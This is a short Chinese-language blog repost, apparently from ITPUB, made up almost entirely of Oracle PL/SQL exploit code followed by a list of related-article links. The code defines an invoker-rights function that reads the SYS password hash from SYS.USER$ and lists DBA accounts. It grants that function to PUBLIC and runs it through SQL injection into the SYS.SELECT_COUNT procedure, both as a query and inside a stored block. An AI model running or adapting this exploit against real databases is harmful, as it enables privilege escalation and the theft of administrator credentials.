DBA使用者查詢
CREATE OR REPLACE FUNCTION GET_IT RETURN VARCHAR2 AUTHID CURRENT_USER IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFF VARCHAR2(30);
STMT VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
STMT:='SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS''';
EXECUTE IMMEDIATE STMT INTO BUFF;
DBMS_OUTPUT.PUT_LINE('SYS PASSWORD HASH IS ' || BUFF);
OPEN CV FOR 'SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE=''DBA''';
LOOP
FETCH CV INTO BUFF;
DBMS_OUTPUT.PUT_LINE(BUFF || ' IS A DBA.');
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
RETURN 'FOO';
END;
/
GRANT EXECUTE ON GET_IT TO PUBLIC;
SELECT SYS.SELECT_COUNT('FOO'' || SCOTT.GET_IT()--') FROM DUAL;
[@more@]封裝到儲存過程:
DECLARE
CNT NUMBER;
BEGIN
CNT:=SYS.SELECT_COUNT('SYS'' || SCOTT.GET_IT()--');
DBMS_OUTPUT.PUT_LINE(CNT);
END;
/
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/13442480/viewspace-1033711/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- Oracle DBA常用查詢Oracle
- postgresql dba常用sql查詢語句SQL
- mysql dba常用的查詢語句MySql
- PostgreSQL DBA(192) - 整行模糊查詢SQL
- 查詢DBA_SEGMENTS,bytes=0
- dba_jobs_running查詢緩慢
- 查詢DBA_HIST_ACTIVE_SESS_HISTORY緩慢
- 查詢dba_jobs_running慢的bug
- 如何讓普通使用者可以對DBA_SOURCE檢視進行閃回查詢?
- 加快dba_hist_active_sess_history的查詢速度
- 【DBA 指令碼】查詢current open cursor的指令碼指令碼
- dba_free_space查詢速度慢問題解決
- 查詢使用者登入資訊sqlSQL
- mysql之查詢使用者名稱MySql
- sqlserver 查詢使用者角色指令碼SQLServer指令碼
- Oracle查詢使用者許可權Oracle
- 使用者查詢當前session IDSession
- MySql查詢使用者許可權MySql
- jpa 聯合查詢資料,查詢使用者資訊與部門資訊
- 根據IP查詢所在城市介面(查詢使用者所在城市)
- dba_segments與dba_rollback_segs查詢到的rollback結果不一樣(原創)
- SQLServer查詢使用者儲存過程SQLServer儲存過程
- Linux 使用者(User)查詢篇(轉)Linux
- 史上最全:PostgreSQL DBA常用SQL查詢語句(建議收藏學習)SQL
- 根據sql_id 查詢歷史SQL TEXT :dba_hist_sqltextSQL
- EBS中通過查詢 dba_source 檢視pkg 的版本號
- 資料檔案RESIZE導致查詢DBA_DATA_FILES被鎖
- 儲存過程中查詢資料字典檢視(v$或dba)儲存過程
- SQL查詢的:子查詢和多表查詢SQL
- 查詢之折半查詢
- 根據使用者名稱和密碼查詢使用者密碼
- Centos6.7查詢使用者資訊和切換使用者CentOS
- Oracle授權A使用者查詢B使用者的所有表Oracle
- 查詢使用者中哪些表沒主鍵
- 查詢 Oracle 使用者鎖的DLL SQL(轉)OracleSQL
- 查詢每個使用者的許可權
- mysql-分組查詢-子查詢-連線查詢-組合查詢MySql
- Oracle 12c中查詢dba_soruce ORA-00604處理Oracle